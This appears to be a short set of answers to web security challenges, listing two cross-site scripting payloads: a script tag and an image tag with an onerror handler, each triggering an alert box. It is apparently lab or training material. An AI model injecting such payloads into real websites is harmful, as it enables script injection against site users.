challenge 1:
<script>alert('xss')</script>
challenge 2:
<img src='foobar' onerror='alert("xss")'>